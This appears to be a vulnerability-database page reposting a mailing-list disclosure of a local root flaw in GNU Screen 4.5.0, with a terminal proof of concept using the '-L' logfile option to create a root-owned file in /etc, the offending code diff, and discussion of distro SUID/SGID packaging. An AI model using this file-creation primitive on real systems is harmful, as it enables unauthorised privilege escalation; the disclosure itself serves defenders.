GNU Screen 4.5.0 root exploit

2017.01.25
Credit: Donald Buczek
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

The check opens the logfile with full root privileges. This allows us to truncate any file or create a root-owned file with any contents in any directory and can be easily exploited to full root access in several ways. address@hidden:~$ screen --version Screen version 4.05.00 (GNU) 10-Dec-16 address@hidden:~$ id uid=125(buczek) gid=125(buczek) groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw) address@hidden:~$ cd /etc address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail address@hidden:/etc (master)$ ls -l bla.bla -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla address@hidden:/etc (master)$ cat bla.bla fail address@hidden:/etc (master)$ Donald Buczek <address@hidden> --- There are some follow-ups, notably Axel Beckert pointing out that the issue appears to have been introduced on 2016-11-04 (not 2015-11-04): --- Commit f86a374 ("screen.c: adding permissions check for the logfile name", 2015-11-04) There is no such commit id, neither in the master branch nor in the screen-v4 branch. I assume you meant one of these two commits instead: master: http://git.savannah.gnu.org/cgit/screen.git/commit/?id=c575c40c9bd7653470639da32e06faed0a9b2ec4 screen-v4: http://git.savannah.gnu.org/cgit/screen.git/commit/?h=screen-v4&id=5460f5d28c01a9a58e021eb1dffef2965e629d58 The latter is the one included in Screen 4.5.0. --- The commits add this code: --- + FILE *w_check; + if ((w_check = fopen(screenlogfile, "w")) == NULL) + Panic(0, "-L: logfile name access problem"); + else + fclose(w_check); --- apparently into command-line option parsing in main(), thus apparently prior to dropping the privileges. (I didn't review this in context.) Last but not least, I hope distros don't install screen SUID root these days. If any distro does, this is yet another reminder to reconsider. Some install it SGID utmp. Some take it a step further - Owl and ALT Linux install it SGID to group screen, which only grants the ability to invoke utempter (SGID utmp) and tcp_chkpwd (SGID shadow). Thus, it'd take a vulnerability in those other tools to make much use of a screen vulnerability. Here's an excerpt from ALT Linux's spec file: %post ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/ ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/ %preun if [ $1 -eq 0 ]; then rm -f %_libexecdir/screen/{tcb_chkpwd,utempter} fi %triggerin -- pam_tcb >= 0.9.7.1 ln -f %_libexecdir/chkpwd/tcb_chkpwd %_libexecdir/screen/ %triggerin -- libutempter >= 1.0.6 ln -f %_libexecdir/utempter/utempter %_libexecdir/screen/ %files %attr(2711,root,screen) %_bindir/screen %attr(710,root,screen) %dir %_libexecdir/screen %attr(2711,root,shadow) %ghost %_libexecdir/screen/tcb_chkpwd %attr(2711,root,utmp) %ghost %_libexecdir/screen/utempter %attr(775,root,screen) %dir /var/run/screen/ Alexander

References:

https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2025, cxsecurity.com

 

Back to Top